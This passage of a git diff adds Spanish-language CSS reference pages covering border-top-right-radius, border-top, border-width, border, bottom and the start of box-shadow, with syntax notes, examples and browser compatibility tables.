+ <dd>Denota el tamaño del radio de círculo o del eje semi-mayor o semi-menor de la elipse. Puede ser expresado en cualquier tipo de unidad permitida por el tipo de dato CSS {{cssxref("&lt;length&gt;")}}. Los valores negativos no son válidos.</dd>
+ <dt><code>&lt;percentage&gt;</code></dt>
+ <dd>Denota el tamaño del radio del círculo, o de los ejes semi-mayores y semi-menores de la elipse, usando valores porcentuales. Porcentajes del eje horizontal toman como referencia a la anchura de la caja, y porcentajes del eje vertical toman como referencia la altura de la caja. Los valores negativos no son válidos.</dd>
+</dl>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th>Ejemplo en vivo</th>
+   <th>Código</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td style="padding: 1.5em;">
+    <div style="background-color: lightgreen; border: solid 1px black; border-top-right-radius: 40px 40px; width: 100px; height: 100px;"> </div>
+   </td>
+   <td>Un arco de círculo usado como borde
+    <pre class="brush: css">
+div {
+  border-top-right-radius: 40px 40px;
+}
+</pre>
+   </td>
+  </tr>
+  <tr>
+   <td style="padding: 1.5em;">
+    <div style="background-color: lightgreen; border: solid 1px black; border-top-right-radius: 40px 20px; width: 100px; height: 100px;"> </div>
+   </td>
+   <td>Un arco de elipse usado como borde
+    <pre class="brush: css">
+div {
+  border-top-right-radius: 40px 20px;
+}
+</pre>
+   </td>
+  </tr>
+  <tr>
+   <td style="padding: 1.5em;">
+    <div style="background-color: lightgreen; border: solid 1px black; border-top-right-radius: 40%; width: 100px; height: 100px;"> </div>
+   </td>
+   <td>La caja es un cuadro: un arco de círculo es usado como borde
+    <pre class="brush: css">
+div {
+  border-top-right-radius: 40%;
+}
+</pre>
+   </td>
+  </tr>
+  <tr>
+   <td style="padding: 1.5em;">
+    <div style="background-color: lightgreen; border: solid 1px black; border-top-right-radius: 40%; width: 100px; height: 200px;">
+    <div style="display: none;">.</div>
+    </div>
+   </td>
+   <td>La caja no es un círculo: un arco de elipse es usado como borde
+    <pre class="brush: css">
+div {
+  border-top-right-radius: 40%;
+}
+</pre>
+   </td>
+  </tr>
+  <tr>
+   <td style="padding: 1.5em;">
+    <div style="border: black 3px double; border-top-right-radius: 40%; height: 100px; width: 100px; background-color: rgb(250,20,70); background-clip: content-box;"> </div>
+   </td>
+   <td>El color de fondo está delimitado al borde
+    <pre class="brush: css">
+div {
+  border-top-right-radius:40%;
+  border-style: black 3px double;
+  background-color: rgb(250,20,70);
+  background-clip: content-box;
+}
+</pre>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#the-border-radius', 'border-top-right-radius')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>1.0 {{property_prefix("-webkit")}}<br>
+    4.0</td>
+   <td>1.0 (1.0){{property_prefix("-moz")}}<sup>[1]</sup><br>
+    4.0 (2.0)<sup>[3]</sup></td>
+   <td>9.0</td>
+   <td>10.5</td>
+   <td>3.0 (522){{property_prefix("-webkit")}}<br>
+    5.0 (532.5)</td>
+  </tr>
+  <tr>
+   <td>Porcentajes</td>
+   <td>4.0</td>
+   <td>1.0 (1.0)<sup>[2]</sup><br>
+    4.0 (2.0)</td>
+   <td>9.0</td>
+   <td>10.5</td>
+   <td>5.0 (532.5)</td>
+  </tr>
+  <tr>
+   <td>Esquinas elípticas</td>
+   <td>1.0</td>
+   <td>3.5 (1.9.1)</td>
+   <td>9.0</td>
+   <td>10.5</td>
+   <td>3.0 (522)</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[3]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Porcentajes</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Esquinas elípticas</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] La versión con prefijo (permitida desde Firefox 1 hasta Firefox 12) de esta propiedad usaba otro nombre, <code>-moz-border-radius-topright</code>, distinto al de la propiedad final, ya que Mozilla lo implementó antes de que se determinara el nombre final.</p>
+
+<p>[2] Antes de Firefox 4, el valor {{cssxref("&lt;percentage&gt;")}} era relativo a la anchura de la caja, incluso al especificar el radio para la altura. Esto implicaba que <code>-moz-border-radius-topright</code> siempre dibujaba un arco de círculo, y nunca una elipse, cuando se establecía un valor único.</p>
+
+<p>[3] Previo a Gecko 50.0 {{geckoRelease("50.0")}}, los estilos de bordes de esquinas redondeadas siempre se dibujaban como si <code>border-style</code> tuviera valor <code>solid</code>. tuviera valor <code>solid</code>. Esto fue solucionado en Gecko 50.0.</p>
+
+<p>Además del soporte a la versión sin prefijo, Gecko 44.0 {{geckoRelease("44.0")}} añadió soporte a la versión con prefijo <code>-webkit</code> de la propiedad, por razones de compatibilidad, usando la preferencia <code>layout.css.prefixes.webkit</code>, con valor predeterminado <code>false</code>. Desde Gecko 49.0 {{geckoRelease("49.0")}} el valor predeterminado de la preferencia es <code>true</code>.</p>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<p>Las propiedades CSS relacionadas con radio de borde: la forma reducida {{cssxref("border-radius")}}, las propiedades de las otras esquinas: {{cssxref("border-top-left-radius")}}, {{cssxref("border-bottom-right-radius")}}, y {{cssxref("border-bottom-left-radius")}}.</p>
diff --git a/files/es/web/css/border-top/index.html b/files/es/web/css/border-top/index.html
new file mode 100644
index 0000000000..fbbb9a741b
--- /dev/null
+++ b/files/es/web/css/border-top/index.html
@@ -0,0 +1,151 @@
+---
+title: border-top
+slug: Web/CSS/border-top
+tags:
+  - Bordes
+  - CSS
+  - Propiedades CSS
+  - Referencia
+translation_of: Web/CSS/border-top
+---
+<div>{{CSSRef}}</div>
+
+<h2 id="Summary" name="Summary">Resumen</h2>
+
+<p>La propiedad de <a href="/en-US/docs/CSS" title="CSS">CSS</a> <strong><code>border-top</code></strong> es una abreviatura que establece los valores de {{Cssxref("border-top-color")}}, {{Cssxref("border-top-style")}}, y {{Cssxref("border-top-width")}}. Estas propiedades las características del borde superior de un elemento.</p>
+
+<div class="note">
+<p>Los tres valores de la abreviatura pueden ser especificados en cualquier orden, y uno o dos de ellos pueden ser omitidos.</p>
+
+<p>Como con todas las propiedades abreviadas, border-top siempre establece los valores de todas las propiedades que sean posibles, aun si no están especificadas. Establece aquellas que no son especificadas a sus valores por defecto. Esto significa que:</p>
+
+<pre class="brush:css">  border-top: none thick green;
+</pre>
+
+<p>es lo mismo que</p>
+
+<pre class="brush:css">  border-top: thick green;
+</pre>
+
+<p>y el valor de {{Cssxref("border-top-style")}} establecido antes de <code>border-top</code> es ignorado.</p>
+
+<p>El no especificar la parte de border-style que está destinada a establecer el valor de {{Cssxref("border-top-style")}} significa que se tomará el valor por defecto, lo que significa que el {{Cssxref("border-top-style")}} será <code>none.</code></p>
+
+<p>También hay que tomar en cuenta que en el siguiente bloque de código se ignorará la primer asignación de {{Cssxref("border-top-style")}} dado que al indicar <code>border-top</code> se establecerá implicitamente el valor de {{Cssxref("border-top-style")}} a <code>none</code></p>
+
+<pre class="brush:css">  border-top-style: dotted;
+  border-top: thick green;
+</pre>
+</div>
+
+<div>{{cssinfo}}</div>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="brush:css">border-top: 1px;
+border-top: 2px dotted;
+border-top: medium dashed green;
+</pre>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><code>&lt;br-width&gt; </code></dt>
+ <dd>See {{Cssxref("border-top-width")}}.</dd>
+ <dt><code>&lt;br-style&gt; </code></dt>
+ <dd>See {{Cssxref("border-top-style")}}.</dd>
+ <dt><code>&lt;color&gt; </code></dt>
+ <dd>See {{Cssxref("border-top-color")}}.</dd>
+</dl>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Examples" name="Examples">Ejemplos</h2>
+
+<pre class="brush: css">element {
+    border-top: 1px solid #000;
+}
+</pre>
+
+<h2 id="Specifications" name="Specifications">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#border-top', 'border-top')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>
+    <p>No hay cambios directos, aunque la modificación de valores para {{cssxref("border-top-color")}} sí aplican.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'box.html#propdef-border-top', 'border-top')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>No hay cambios significativos</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#border-top', 'border-top')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilidad con navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1.0")}}</td>
+   <td>4</td>
+   <td>3.5</td>
+   <td>1.0 (85)</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoMobile("1.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/es/web/css/border-width/index.html b/files/es/web/css/border-width/index.html
new file mode 100644
index 0000000000..ba017b3823
--- /dev/null
+++ b/files/es/web/css/border-width/index.html
@@ -0,0 +1,101 @@
+---
+title: border-width
+slug: Web/CSS/border-width
+tags:
+  - CSS
+  - 'CSS:Referencias'
+  - Todas_las_Categorías
+translation_of: Web/CSS/border-width
+---
+<h3 id="Resumen" name="Resumen">Resumen</h3>
+
+<p>La propiedad <strong><code>border-width</code></strong> define el ancho del borde.</p>
+
+<ul>
+ <li>{{ Cssxref("initial", "Valor inicial") }}: {{ Cssxref("medium", "medio") }}</li>
+ <li>Se aplica a: todos los elementos</li>
+ <li>{{ Cssxref("inheritance", "Herencia") }}: no</li>
+ <li>Porcentajes: N/A</li>
+ <li>Medio: {{ Cssxref("Media:Visual", "visual") }}</li>
+ <li>{{ Cssxref("computed value", "Valor calculado") }}: largo absoluto o '0' si el estilo del borde es <em>ninguno</em> ('none') o 'hidden'.</li>
+</ul>
+
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+
+<pre class="eval notranslate"> border-width: &lt;border-width-value&gt; {1,4} | {{ Cssxref("inherit", "heredado") }}
+</pre>
+
+<h3 id="Valores" name="Valores">Valores</h3>
+
+<dl>
+ <dt><strong>&lt;border-width-value&gt;</strong></dt>
+ <dd><code>thin | medium | thick | </code> {{ Cssxref("length", "largo") }}</dd>
+ <dt>thin</dt>
+ <dd>Un borde fino.</dd>
+ <dt>medium</dt>
+ <dd>Un borde mediano.</dd>
+ <dt>thick</dt>
+ <dd>Un borde grueso.</dd>
+ <dt>&lt;length&gt;</dt>
+ <dd>El grosor de un borde es un valor explícito por lo cual el ancho <strong>no</strong> puede ser nunca negativo.<br>
+ Nota: Un valor <code>em</code> también es reconocido y soportado.</dd>
+</dl>
+
+<h3 id="Propiedades_relacionadas" name="Propiedades_relacionadas">Propiedades relacionadas</h3>
+
+<ul>
+ <li>{{ Cssxref("border-bottom-width") }}</li>
+ <li>{{ Cssxref("border-left-width") }}</li>
+ <li>{{ Cssxref("border-right-width") }}</li>
+ <li>{{ Cssxref("border-top-width") }}</li>
+</ul>
+
+<h3 id="Ejemplos" name="Ejemplos">Ejemplos</h3>
+
+<p><a href="/samples/cssref/border.html">V</a>er el ejemplo en vivo</p>
+
+<pre class="notranslate">element {
+    border-width: thin;
+    border-style: solid;
+    border-color: #000;
+}
+</pre>
+
+<h3 id="Especificaciones" name="Especificaciones">Especificaciones</h3>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/CSS1#border-width">CSS 1</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/CSS21/box.html#border-width-properties">CSS 2.1</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/css3-background/#border-width">CSS 3</a></li>
+</ul>
+
+<h3 id="Compatibilidad" name="Compatibilidad">Compatibilidad</h3>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Navegador</th>
+   <th>Versión mínima</th>
+  </tr>
+  <tr>
+   <td>Internet Explorer</td>
+   <td>4.0</td>
+  </tr>
+  <tr>
+   <td>Firefox</td>
+   <td>1.0</td>
+  </tr>
+  <tr>
+   <td>Netscape</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>Opera</td>
+   <td>3.5</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Ver_tambi.C3.A9n" name="Ver_tambi.C3.A9n">Ver también</h3>
+
+<p>{{ Cssxref("border") }}, {{ Cssxref("border-color") }}, {{ Cssxref("border-style") }}, {{ Cssxref("border-width") }}</p>
diff --git a/files/es/web/css/border/index.html b/files/es/web/css/border/index.html
new file mode 100644
index 0000000000..2650cc595d
--- /dev/null
+++ b/files/es/web/css/border/index.html
@@ -0,0 +1,117 @@
+---
+title: border
+slug: Web/CSS/border
+tags:
+  - CSS
+  - 'CSS:Referencias'
+  - Todas_las_Categorías
+translation_of: Web/CSS/border
+---
+<p>{{ PreviousNext("Guía de referencia de CSS", "CSS:border-color") }}</p>
+
+<h3 id="Propierdades_Contitutivas">Propierdades Contitutivas</h3>
+
+<p>Esta es una <a href="/es/docs/Web/CSS/Shorthand_properties">propiedad abreviada</a> para las siguientes propiedades CSS:</p>
+
+<ul>
+ <li>border-color</li>
+ <li>border-style</li>
+ <li>border-width</li>
+</ul>
+
+
+
+
+
+<h3 id="Resumen" name="Resumen">Resumen</h3>
+
+<p>La propiedad <code>border</code> permite definir de golpe todos los bordes en una única regla de la hoja de estilos. Se puede utilizar <code>border</code> para definir el o los valores siguientes: {{ Cssxref("border-width") }}, {{ Cssxref("border-style") }}, {{ Cssxref("border-color") }}.</p>
+
+<ul>
+ <li>{{ Cssxref("initial", "Valor inicial") }}: ver propiedades individuales</li>
+ <li>Se aplica a: todos los elementos</li>
+ <li>{{ Cssxref("inheritance", "Herencia") }}: no</li>
+ <li>Porcentajes: N/A</li>
+ <li>Medio: {{ Cssxref("Media:Visual", "visual") }}</li>
+ <li>{{ Cssxref("computed value", "Valor calculada") }}: ver propiedades individuales</li>
+</ul>
+
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+
+<pre class="eval notranslate">border: [<em>border-width</em> || <em>border-style</em> || <em>border-color</em> | <em>inherit</em>] ;
+</pre>
+
+<h3 id="Valores" name="Valores">Valores</h3>
+
+<dl>
+ <dt>{{ Cssxref("border-width") }}.</dt>
+ <dt>{{ Cssxref("border-style") }}.</dt>
+ <dt>{{ Cssxref("border-color") }}.</dt>
+</dl>
+
+<h3 id="Ejemplos" name="Ejemplos">Ejemplos</h3>
+
+<p><a href="/samples/cssref/border.html">Ver El Ejemplo Vivo</a></p>
+
+<pre class="notranslate">element {
+    border: 1px solid #000;
+}
+</pre>
+
+<h3 id="Notas_importantes" name="Notas_importantes">Notas importantes</h3>
+
+<p>Mientras que las propiedades {{ Cssxref("border-width") }}, {{ Cssxref("border-style") }} y {{ Cssxref("border-color") }} admiten hasta cuatro valores diferentes, ésta (<em>border</em>) no acepta más de uno por cada propiedad.</p>
+
+<h3 id="Especificaciones" name="Especificaciones">Especificaciones</h3>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/CSS1#border">CSS 1</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/CSS21/box.html#box-border-area">CSS 2.1</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/css3-background/#the-border-shorthands">CSS 3</a></li>
+</ul>
+
+<h3 id="Compatibilidad" name="Compatibilidad">Compatibilidad</h3>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Navegador</th>
+   <th>Versión mínima</th>
+  </tr>
+  <tr>
+   <td>Internet Explorer</td>
+   <td>4</td>
+  </tr>
+  <tr>
+   <td>Firefox</td>
+   <td>1</td>
+  </tr>
+  <tr>
+   <td>Netscape</td>
+   <td>4</td>
+  </tr>
+  <tr>
+   <td>Opera</td>
+   <td>3.5</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Ver_tambi.C3.A9n" name="Ver_tambi.C3.A9n">Ver también</h3>
+
+<p>{{ Cssxref("border") }}, {{ Cssxref("border-color") }}, {{ Cssxref("border-style") }}, {{ Cssxref("border-width") }}</p>
+
+<h3 id="Descripción">Descripción</h3>
+
+<p>Como sucede con todas las propiedades abreviadas, cualquier subvalor omitdo será definido a su valor inicial. Cabe destacar que la asignación de un valor personalizado a <code>border-image</code> no puede ser realizada mediante el uso de  <code>border</code>, en todo caso éste útltimo lo fijaría a su valor inicial, por ejemplo, a <code>none</code>. </p>
+
+<p>La propiedad abreviada <code>border</code> es especialmente útil cuando deseas que los cuatro bordes sean idénticos. Sin embargo, es posible hacerlos distintos utilzando las propiedades extensas (aquellas individuales que componen a la abreviada) <code>border-width</code>, <code>border-style</code> y <code>border-color</code> puesto que aceptan valores distintos por lado. Alternativamente, puedes modificar un borde a la vez con las propiedades físicas (p. ej. <code>border-top)</code> y lógicas (p. ej. <code>border-block-start</code>) del borde.</p>
+
+<h3 id="Bordes_vs._contornos">Bordes vs. contornos</h3>
+
+<p>Los bordes y los <a href="/es/docs/Web/CSS/outline">contornos</a> son muy parecidos. Sin embargo, los contornos se distinguen de los bordes de la siguiente forma:</p>
+
+<ul>
+ <li>Los conronos nunca toman espacio, ya que se dibujan fuera del contenido de un elemento. </li>
+ <li>De conformidad con las especificaciones, si bien los contornos suelen ser rectangulares,  no necesitan serlo. </li>
+</ul>
diff --git a/files/es/web/css/bottom/index.html b/files/es/web/css/bottom/index.html
new file mode 100644
index 0000000000..6d26cf7c97
--- /dev/null
+++ b/files/es/web/css/bottom/index.html
@@ -0,0 +1,86 @@
+---
+title: bottom
+slug: Web/CSS/bottom
+tags:
+  - CSS
+  - 'CSS:Referencias'
+  - Todas_las_Categorías
+translation_of: Web/CSS/bottom
+---
+<p>
+</p><p>&lt;&lt; <a href="es/Gu%c3%ada_de_referencia_de_CSS">Volver</a>
+</p>
+<h3 id="Resumen" name="Resumen"> Resumen </h3>
+<p>La propiedad <code>bottom</code> especifica parte de la posición de un elemento (posicionado - es decir, con una posición determinada por código).
+</p><p>Para los elementos con una posición absoluta (aquellos que tienen la propiedad <code>position: absolute</code> o <code>position: fixed</code>), la propiedad bottom determina la distancia entre el borde inferior del elemento y el borde inferior de su bloque contenedor.
+</p><p>Para los elementos con una posición relativa (los que tienen la propiedad <code>position: relative</code>), la propiedad bottom determina la distancia que el elemento se mueve hacia arriba desde su posición normal. Sin embargo, la propiedad {{ Cssxref("top") }} se antepone a la propiedad bottom, por lo que si <code>top</code> no es <code>auto</code>, el valor computado de <code>bottom</code> es el valor negativo del valor computado de <code>top</code>.
+</p>
+<ul><li> {{ Cssxref("initial", "Valor inicial") }}: {{ Cssxref("auto", "automático") }}
+</li><li> Se aplica a: {{ Cssxref("position", "la posición de los elementos") }}
+</li><li> {{ Cssxref("inheritance", "Heredado") }}: no
+</li><li> Porcentajes: se refieren a la altura del bloque contenedor.
+</li><li> Medio: {{ Cssxref("Media:Visual", "visual") }}
+</li><li> {{ Cssxref("computed value", "Valor calculada") }}: valor absoluto, porcentaje o auto.
+</li></ul>
+<h3 id="Sintaxis" name="Sintaxis"> Sintaxis </h3>
+<pre class="eval">   bottom: &lt;length&gt; | &lt;percentage&gt; | auto | inherit
+</pre>
+<h3 id="Valores" name="Valores"> Valores </h3>
+<dl><dt> &lt;length&gt; </dt><dd> Una longitud, usada como se describe en el <a href="#Resumen">resumen</a>. Puede ser un valor negativo, cero o un valor positivo.
+</dd><dt> &lt;percentage&gt; </dt><dd> Un porcentaje de la altura del bloque contenedor, usado como se describe en el <a href="#Resumen">resumen</a>.
+</dd><dt> <code>auto</code> </dt><dd> Para los elementos con posición absoluta, el elemento se posiciona en base a la propiedad {{ Cssxref("top") }} y por tanto se trata <code>height: auto</code> como una altura basada en el contenido del elemento. Para los elementos posicionados como relativos, especifica un desplazamiento desde su posición normal basada en la propiedad {{ Cssxref("top") }} o si, <code>top</code> es también <code>auto</code>, no se produce desplazamiento alguno.
+</dd><dt> <code>inherit</code> </dt><dd> Recoge el valor que tenga el elemento padre (que puede no ser el bloque contenedor). Este valor calculado es tratado como si fuera un valor &lt;length&gt;, &lt;percentage&gt; o <code>auto</code>.
+</dd></dl>
+<h3 id="Ejemplos" name="Ejemplos"> Ejemplos </h3>
+<pre>element {
+    position: absolute;
+    bottom: 20px;
+    height: 200px;
+    border: 1px solid #000;
+}
+</pre>
+<p>El siguiente ejemplo permite contrastar entre <code>position:absolute</code> y <code>position:fixed</code>. Cuando el texto ocupa un espacio más alto que la porción visible de la página (la porción visible en la ventana del navegador) los bloques posicionados con <code>position:absolute</code> se desplazarán junto con la página, mientras que los bloques posicionados con <code>position:fixed</code>, no lo harán.
+</p>
+<ul><li><b>Atención</b>: IE6 <b>no</b> soporta el código <code>position:fixed</code>.
+</li></ul>
+<pre>&lt;!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN"
+   "http://www.w3.org/TR/html4/strict.dtd"&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;meta http-equiv="content-type" content="text/html; charset=iso-8859-1"&gt;
+&lt;title&gt;Position at bottom, absolute or fixed&lt;/title&gt;
+&lt;style type="text/css"&gt;
+p {font-size:30px; line-height:3em;}
+div.pos {width:49%; text-align:center; border:2px solid #00f;}
+div#abs {position:absolute; bottom:0; left:0;}
+div#fix {position:fixed; bottom:0; right:0;}
+&lt;/style&gt;
+&lt;/head&gt;
+&lt;body&gt;
+  &lt;p&gt;Esto&lt;br&gt;es&lt;br&gt;un texto&lt;br&gt;alto,&lt;br&gt;alto,
+    &lt;br&gt;alto,&lt;br&gt;alto,&lt;br&gt;alto&lt;br&gt;de prueba.&lt;/p&gt;
+  &lt;div id="fix" class="pos"&gt;&lt;p&gt;Fixed&lt;/p&gt;&lt;/div&gt;
+  &lt;div id="abs" class="pos"&gt;&lt;p&gt;Absolute&lt;/p&gt;&lt;/div&gt;
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+<h3 id="Notas" name="Notas"> Notas </h3>
+<p>Para los elementos posicionados de forma absoluta cuyo bloque contenedor sea un elemento de tipo bloque, esta propiedad es un desplazamiento a partir del borde de relleno (padding) de dicho elemento.
+</p><p>Para los elementos posicionados de forma absoluta, la propiedad <code>bottom</code> no tiene efectos visibles cuando los valores {{ Cssxref("top") }}, {{ Cssxref("height") }}, y {{ Cssxref("margin-top") }} <i>no</i> son <code>auto</code> (que es el valor por defecto para <code>top</code> y <code>height</code>).
+</p>
+<h3 id="Especificaciones" name="Especificaciones"> Especificaciones </h3>
+<ul><li> <a class="external" href="http://www.w3.org/TR/CSS21/visuren.html#propdef-bottom">CSS 2.1 (en)</a>
+</li><li> <a class="external" href="http://www.w3.org/Style/CSS/current-work#positioning">CSS 3 (en)</a>
+</li></ul>
+<h3 id="Compatibilidad_entre_navegadores" name="Compatibilidad_entre_navegadores"> Compatibilidad entre navegadores </h3>
+<span class="comment">This is as far back as the documentaion goes.</span><table class="standard-table"> <tbody><tr> <th>Navegador</th> <th>Versión mínima</th> </tr> <tr> <td>Internet Explorer</td> <td>5</td> </tr> <tr> <td>Firefox</td> <td>1</td> </tr> <tr> <td>Netscape</td> <td>6</td> </tr> <tr> <td>Opera</td> <td>6</td>  </tr>
+</tbody></table>
+<h3 id="Ver_tambi.C3.A9n" name="Ver_tambi.C3.A9n"> Ver también </h3>
+<p>{{ Cssxref("position") }}, {{ Cssxref("top") }}, {{ Cssxref("right") }}, {{ Cssxref("left") }}
+</p><p><br>
+</p>
+<div class="noinclude">
+<p><span class="comment">Categorías</span>
+</p><p><span class="comment">Interwiki Languages</span>
+</p>
+</div>
+{{ languages( { "fr": "fr/CSS/bottom", "pl": "pl/CSS/bottom", "en": "en/CSS/bottom" } ) }}
diff --git a/files/es/web/css/box-shadow/index.html b/files/es/web/css/box-shadow/index.html
new file mode 100644
index 0000000000..16de31787a
--- /dev/null
+++ b/files/es/web/css/box-shadow/index.html
@@ -0,0 +1,178 @@
+---
+title: box-shadow
+slug: Web/CSS/box-shadow
+tags:
+  - CSS
+  - CSS Background
+  - Estilos
+  - Reference
+  - Referencia
+  - Sombras
+  - box-shadow
+translation_of: Web/CSS/box-shadow
+---
+<p>{{ CSSRef() }}</p>
+
+<p>La propiedad CSS <code>box-shadow</code>  añade efectos de sombra alrededor del marco de un elemento. Se pueden definir múltiples efectos separados por comas. La caja de la sombra se describe por los desplazamientos en X e Y, los radios de desenfoque y dispersión, y el color relativos al elemento.</p>
+
+<p class="hidden">El código fuente de este ejemplo interactivo se encuentra almacenado en un repositorio de GitHub. Si desea contribuir al poryecto de ejemplos interactivos, por favor clone el repositiorio <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> y envie un pull request.</p>
+
+<p>La propiedad <code>box-shadow</code> permite proyectar una sombra difuminada desde el marco de casi cualquier elemento. Si {{cssxref("border-radius")}} es especificado en un elemento con la propiedad box-shadow, la sombra adopta la misma curva en las esquinas. El z-orden de múltiples cajas de sombra es la misma que de múltiples <a href="https://developer.mozilla.org/en-US/CSS/text-shadow">sombras de texto</a> (la primera sombra definida se ubica hasta arriba).</p>
+
+<p><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Box_Model/Box-shadow_generator">Generador de Box-shadow</a> es una herramienta interactiva que permite generar una <code>box-shadow</code>.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush: css no-line-numbers language-css notranslate"><code class="language-css"><span class="comment token">/* Keyword values */</span>
+<span class="property token">box-shadow</span><span class="punctuation token">:</span> none<span class="punctuation token">;</span>
+
+<span class="comment token">/* offset-x | offset-y | color */</span>
+<span class="property token">box-shadow</span><span class="punctuation token">:</span> <span class="number token">60</span><span class="token unit">px</span> <span class="number token">-16</span><span class="token unit">px</span> teal<span class="punctuation token">;</span>
+
+<span class="comment token">/* offset-x | offset-y | blur-radius | color */</span>
+<span class="property token">box-shadow</span><span class="punctuation token">:</span> <span class="number token">10</span><span class="token unit">px</span> <span class="number token">5</span><span class="token unit">px</span> <span class="number token">5</span><span class="token unit">px</span> black<span class="punctuation token">;</span>
+
+<span class="comment token">/* offset-x | offset-y | blur-radius | spread-radius | color */</span>
+<span class="property token">box-shadow</span><span class="punctuation token">:</span> <span class="number token">2</span><span class="token unit">px</span> <span class="number token">2</span><span class="token unit">px</span> <span class="number token">2</span><span class="token unit">px</span> <span class="number token">1</span><span class="token unit">px</span> <span class="function token">rgba</span><span class="punctuation token">(</span><span class="number token">0</span><span class="punctuation token">,</span> <span class="number token">0</span><span class="punctuation token">,</span> <span class="number token">0</span><span class="punctuation token">,</span> <span class="number token">0.2</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+<span class="comment token">/* inset | offset-x | offset-y | color */</span>
